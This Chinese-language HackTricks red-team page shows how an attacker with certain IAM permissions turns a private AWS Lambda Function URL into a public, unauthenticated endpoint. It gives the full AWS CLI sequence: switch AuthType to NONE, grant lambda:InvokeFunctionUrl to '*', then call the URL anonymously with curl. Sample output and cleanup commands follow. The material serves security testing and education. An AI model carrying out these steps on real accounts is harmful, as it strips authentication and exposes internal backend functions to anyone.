AWS - Lambda Function URL 公开暴露 (AuthType NONE + Public Invoke Policy)

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

通过将私有 Lambda Function URL 的 Function URL AuthType 切换为 NONE，并附加一个授予 lambda:InvokeFunctionUrl 给所有人的基于资源的策略，可以将其变为公开的无认证端点。这样可以匿名调用内部函数，并可能暴露敏感的后端操作。

滥用场景

  • 先决条件: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
  • 区域: us-east-1

步骤

  1. 确保函数具有 Function URL（默认为 AWS_IAM）:
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
  1. 将 URL 切换为公开（AuthType NONE）:
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
  1. 添加基于资源的策略语句以允许未认证主体:
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
  1. 检索 URL 并在无需凭证的情况下调用:
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
curl -sS "$URL"

影响

  • 该 Lambda 函数将通过互联网匿名可访问。

示例输出（未认证 200）

HTTP 200
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]}

清理

aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks